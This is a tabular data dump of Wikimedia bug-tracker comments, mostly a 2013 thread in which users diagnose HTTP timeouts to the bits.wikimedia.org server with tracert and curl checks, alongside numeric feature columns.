I was looking at the code in AccessControl.php. Seems it is using Article::fetchContent which has been deprecated in version 1.21. I am wondering if that would cause AccessControl not working?",,,1371664201,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,10.0,7.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,4.560975609756097,0.8536585365853658,"**ka.hing.chan** wrote:

I was looking at the code in AccessControl.php. Seems it is using Article::fetchContent which has been deprecated in version 1.21. I am wondering if that would cause AccessControl not working?"
249520,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","Hi Linux4ever, 
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report.",,,1371609158,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,2.0,0.0,5.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.295454545454546,0.7954545454545454,"Hi Linux4ever, 
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read URL and add a more useful description to this report."
50257,http connections to European Bits server often time out for some users since ~2013-05-06,"**Author:** `mr.heat`

**Description:**
The server http://bits.wikimedia.org/ is insanely slow since two days. Requests almost never return anything. The requests time out instead. This leaves all Mediawiki projects (including Commons) naked without any CSS (except for my user CSS).

Maybe an DNS issue?

Is there an DoS going on?

I'm sure this is not an issue on my side because I tested this on different computers using different internet connections. It's the same everywhere.

I'm in Germany. Here is the relevant part of a tracert:

C:\>tracert bits.wikimedia.org
Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
[...]
  8    50 ms    51 ms    52 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
  9    58 ms    56 ms    59 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
 10    54 ms    55 ms    54 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
 11    57 ms    56 ms    56 ms  bits-lb.esams.wikimedia.org [91.198.174.233]
Ablaufverfolgung beendet.

I can't explain why the tracert looks so good. Requesting any bits URL in the browser almost always times out.

--------------------------
**Version**: wmf-deployment
**Severity**: critical
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=5118",Unbreak Now!,100.0,1368019440,1368467621.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5k6rek77iqe43ozlqryg,task_description,resolved,True,c2,1,False,False,True,-16,True,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.0,1.0,0.3333333333333333,0.0,0.0,1.0,1.0,0.0,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,5.333333333333333,4.333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,4.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,1.3333333333333333,11.666666666666666,1.3333333333333333,0.0,5.666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,8.0,0.0,2.3333333333333335,4.333333333333333,7.0,0.6666666666666666,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,3.0,4.091269841269842,0.6626984126984127,"**Author:** CODE

**Description:**
The server URL is insanely slow since two days. Requests almost never return anything. The requests time out instead. This leaves all Mediawiki projects (including Commons) naked without any CSS (except for my user CSS).

Maybe an DNS issue?

Is there an DoS going on?

I'm sure this is not an issue on my side because I tested this on different computers using different internet connections. It's the same everywhere.

I'm in Germany. Here is the relevant part of a tracert:

C:\>tracert bits.wikimedia.org
Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
[...]
  8    50 ms    51 ms    52 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
  9    58 ms    56 ms    59 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
 10    54 ms    55 ms    54 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
 11    57 ms    56 ms    56 ms  bits-lb.esams.wikimedia.org [91.198.174.233]
Ablaufverfolgung beendet.

I can't explain why the tracert looks so good. Requesting any bits URL in the browser almost always times out.

--------------------------
**Version**: wmf-deployment
**Severity**: critical
**See Also**:
URL"
212865,http connections to European Bits server often time out for some users since ~2013-05-06,"We've migrated the network in Europe (esams) to a new topology on Friday (May 10th), which probably also explains why this hasn't been happening since.",,,1368467621,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,15.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8484848484848486,0.9393939393939394,"We've migrated the network in Europe (esams) to a new topology on Friday (May 10th), which probably also explains why this hasn't been happening since."
212860,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

(In reply to comment #19)
> Firefox

I'm sure the browser does not matter. I tried both Firefox and Opera.

> I assume you bypass the cache when trying to reload these URLs?

Yes, I know that and tried everything. In this case bypassing the browser cache made the problem worse. I tried to do the opposite, forcing the browser to never reload these resources if they are in the cache. But it seems there is no setting to do this. As far as I understand the browser always does a HEAD request to check if the cached resources changed. Some of these HEAD requests timed out.

Currently everything seems to work. Both http and https.

I still think there was an overload, maybe caused by a DoS. We will see if the problem comes back every 24 hours.",,,1368219130,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1.5,1.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,2.0,3.0,0.5,0.0,0.0,1.5,4.0,0.0,5.5,9.5,1.0,3.5,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,0.5,0.5,6.5,3.0,0.5,1.5,0.0,1.5,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.5,1.0,0.0,0.0,0.0,7.0,2.0,12.5,2.0,2.5,12.5,0.0,0.0,0.0,0.5,5.0,0.5,1.0,0.0,5.0,9.5,1.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.5,0.0,0.0,3.6772151898734178,0.7215189873417721,"**mr.heat** wrote:

(In reply to comment #19)
QUOTE

I'm sure the browser does not matter. I tried both Firefox and Opera.

QUOTE

Yes, I know that and tried everything. In this case bypassing the browser cache made the problem worse. I tried to do the opposite, forcing the browser to never reload these resources if they are in the cache. But it seems there is no setting to do this. As far as I understand the browser always does a HEAD request to check if the cached resources changed. Some of these HEAD requests timed out.

Currently everything seems to work. Both http and https.

I still think there was an overload, maybe caused by a DoS. We will see if the problem comes back every 24 hours."
212853,http connections to European Bits server often time out for some users since ~2013-05-06,"The URLs in comment 13 and comment 16 load fine for me in Firefox 18 (same for using http:// instead of https://), no matter how often I try to reload, and I am based in Germany too currently.

I assume you bypass the cache when trying to reload these URLs?
http://en.wikipedia.org/wiki/Wikipedia:Bypass_your_cache


Summarizing the aforementioned VP/forum threads (thanks for the links!):
* https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_getting_pages_to_load states ""Now very suddenly working again"" today by reporter.
* Both https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Wikipedia-Server_sterbenslahm and http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu also imply that only http:// is affected, but the Finnish thread has no new comments since May 8th when the outage happened (see comment 4) so it's unclear if there's still bigger problems.


As I don't see indicators yet that this is a problem that a large number of users in Europe is affected by I'll set this back to ""highest"" priority and ""critical"".",,,1368207411,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.5,1.5,0.5,5.5,0.5,0.0,0.0,0.5,3.0,1.0,0.5,0.5,0.5,3.0,0.0,10.0,11.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,7.0,2.5,0.5,2.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.5,2.5,0.5,0.0,0.5,0.0,0.5,11.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,4.5,2.5,12.5,5.0,3.0,7.0,0.0,0.0,0.5,0.0,3.5,0.0,2.0,0.0,4.5,11.5,5.5,0.5,3.5,0.0,4.5,0.0,1.5,1.0,0.5,1.5,0.5,0.5,0.0,3.724623803009576,0.7894664842681258,"The URLs in comment 13 and comment 16 load fine for me in Firefox 18 (same for using http:// instead of URL no matter how often I try to reload, and I am based in Germany too currently.

I assume you bypass the cache when trying to reload these URLs?
URL


Summarizing the aforementioned VP/forum threads (thanks for the links!):
* URL states ""Now very suddenly working again"" today by reporter.
* Both URL and URL also imply that only http:// is affected, but the Finnish thread has no new comments since May 8th when the outage happened (see comment 4) so it's unclear if there's still bigger problems.


As I don't see indicators yet that this is a problem that a large number of users in Europe is affected by I'll set this back to ""highest"" priority and ""critical""."
212847,http connections to European Bits server often time out for some users since ~2013-05-06,Another easy personal workaround is to switch to Google DNS server so the bits.wikimedia.org resolves to bits-lb.eqiad.wikimedia.org which works fine. This is one reason why problem is mainly in Europe.,,,1368197723,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,9.0,16.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.40625,0.84375,Another easy personal workaround is to switch to Google DNS server so the bits.wikimedia.org resolves to bits-lb.eqiad.wikimedia.org which works fine. This is one reason why problem is mainly in Europe.
212841,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #16)
> And now both http and https have the same problem and are unusable.

That may be related or not. In Italy, for me HTTPS is down since about 20 min ago, while HTTP sometimes loads after a long time (with or without styles).",,,1368186355,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,19.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,2.0,19.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.25531914893617,0.8723404255319149,"(In reply to comment #16)
QUOTE

That may be related or not. In Italy, for me HTTPS is down since about 20 min ago, while HTTP sometimes loads after a long time (with or without styles)."
212836,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

And now both http and https have the same problem and are unusable. Guys, what's going on?

Here are some https example URLs that time out:

https://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
https://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=site&only=scripts&skin=vector&*
https://de.wikipedia.org/

Raising importance.",,,1368185967,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,16.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.34,0.72,"**mr.heat** wrote:

And now both http and https have the same problem and are unusable. Guys, what's going on?

Here are some https example URLs that time out:

URL
URL
URL

Raising importance."
212833,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

(In reply to comment #6)
> https links are working fine.

Wow, you are right. The problem is immediately solved when I switch from http to https. I guess this is the reason why most of the users can't reproduce my problem.

https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Wikipedia-Server_sterbenslahm",,,1368183641,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,5.0,5.0,12.0,4.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,3.263157894736842,0.7894736842105263,"**mr.heat** wrote:

(In reply to comment #6)
QUOTE

Wow, you are right. The problem is immediately solved when I switch from http to https. I guess this is the reason why most of the users can't reproduce my problem.

URL"
212828,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

Bits and Meta subdomain requests time out

Here is a screenshot from the Opera Dragonfly debugger. Please not that it's not only bits.wikimedia.org (all URLs that start with load.php). Also some meta.wikimedia.org URLs time out.

**Attached**: {F10458}",,,1368182742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,3.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,18.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.95,0.7166666666666667,"**mr.heat** wrote:

Bits and Meta subdomain requests time out

Here is a screenshot from the Opera Dragonfly debugger. Please not that it's not only bits.wikimedia.org (all URLs that start with load.php). Also some meta.wikimedia.org URLs time out.

**Attached**: {F10458}"
212820,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

At the moment all Wikimedia projects are kind of dead and unusable because of this. Here are some example URLs that all time out:

http://bits.wikimedia.org/de.wikipedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
http://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.gadget.ReferenceTooltips%2Ccharinsert%2Ctoolbaralert2%7Cext.wikihiero%7Cmediawiki.legacy.commonPrint%2Cshared%7Cmw.PopUpMediaTransform%7Cskins.vector&only=styles&skin=vector&*

Its like comment #12 said. Some requests to bits.wikimedia.org return immediately, some requests take a very long time (about 30 seconds) and some requests never return (time out).

Again, I'm sitting in Germany.

C:\>tracert bits.wikimedia.org
Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
[...]
  8    53 ms    51 ms    51 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
  9    58 ms    57 ms    57 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
 10    55 ms    55 ms    55 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
 11    59 ms    55 ms    57 ms  bits-lb.esams.wikimedia.org [91.198.174.233]",,,1368181540,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,3.0,0.0,0.5,0.0,0.0,3.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,1.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,7.5,0.5,1.0,4.5,0.0,0.0,0.0,0.5,0.5,0.5,14.0,0.0,1.0,4.0,10.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,4.5,4.282030561269468,0.5568615927123126,"**mr.heat** wrote:

At the moment all Wikimedia projects are kind of dead and unusable because of this. Here are some example URLs that all time out:

URL
URL
URL

Its like comment #12 said. Some requests to bits.wikimedia.org return immediately, some requests take a very long time (about 30 seconds) and some requests never return (time out).

Again, I'm sitting in Germany.

C:\>tracert bits.wikimedia.org
Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
[...]
  8    53 ms    51 ms    51 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
  9    58 ms    57 ms    57 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
 10    55 ms    55 ms    55 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
 11    59 ms    55 ms    57 ms  bits-lb.esams.wikimedia.org [91.198.174.233]"
212813,http connections to European Bits server often time out for some users since ~2013-05-06,"And when connection works the response is pretty much instant. So it is not like that http server is too slow, but more like it just works or it doesn't work.

Example response from http query which worked:
- time curl -i -4 http://bits.wikimedia.org/

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
ETag: ""b2-48da2a1772100""
Content-Type: text/html
X-Varnish: 1991165982
Via: 1.1 varnish
Content-Length: 178
Accept-Ranges: bytes
Date: Fri, 10 May 2013 06:05:39 GMT
X-Varnish: 3599832084
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: sq67 miss (0), cp3022 miss (0)

<html>
	<head><title>bits and pieces</title>
		<meta http-equiv=""refresh"" content=""1;url=http://www.wikimedia.org/"" />
	</head>
<body>
bits and pieces live here!
</body>
</html>

real	0m0.281s
user	0m0.004s
sys	0m0.004s",,,1368166234,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,12.0,0.3333333333333333,2.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,5.0,0.0,1.0,2.0,12.333333333333334,0.0,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,6.666666666666667,3.2129629629629632,0.625,"And when connection works the response is pretty much instant. So it is not like that http server is too slow, but more like it just works or it doesn't work.

Example response from http query which worked:
- time curl -i -4 URL

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
ETag: ""b2-48da2a1772100""
Content-Type: text/html
X-Varnish: 1991165982
Via: 1.1 varnish
Content-Length: 178
Accept-Ranges: bytes
Date: Fri, 10 May 2013 06:05:39 GMT
X-Varnish: 3599832084
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: sq67 miss (0), cp3022 miss (0)

<html>
	<head><title>bits and pieces</title>
		<meta http-equiv=""refresh"" content=""1;url=URL />
	</head>
<body>
bits and pieces live here!
</body>
</html>

real	0m0.281s
user	0m0.004s
sys	0m0.004s"
212806,http connections to European Bits server often time out for some users since ~2013-05-06,"> To clarify, does it give the same error (it definitely should not)

Error message is: 
curl -i -4 http://bits.wikimedia.org/
curl: (7) Failed connect to bits.wikimedia.org:80; Connection timed out",,,1368165588,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.92,0.88,"QUOTE

Error message is: 
curl -i -4 URL
curl: (7) Failed connect to bits.wikimedia.org:80; Connection timed out"
212798,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #9)
> Yes

To clarify, does it give the same error (it definitely should not)",,,1368165336,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1923076923076925,0.8846153846153846,"(In reply to comment #9)
QUOTE

To clarify, does it give the same error (it definitely should not)"
212790,http connections to European Bits server often time out for some users since ~2013-05-06,Yes,,,1368165192,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Yes
212784,http connections to European Bits server often time out for some users since ~2013-05-06,"Out of curiosity, does
 curl -i -4 http://bits.wikimedia.org/
Also give you errors?",,,1368164199,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.1875,1.0,"Out of curiosity, does
 curl -i -4 URL
Also give you errors?"
212778,http connections to European Bits server often time out for some users since ~2013-05-06,"Some links to discussions:
- https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_getting_pages_to_load
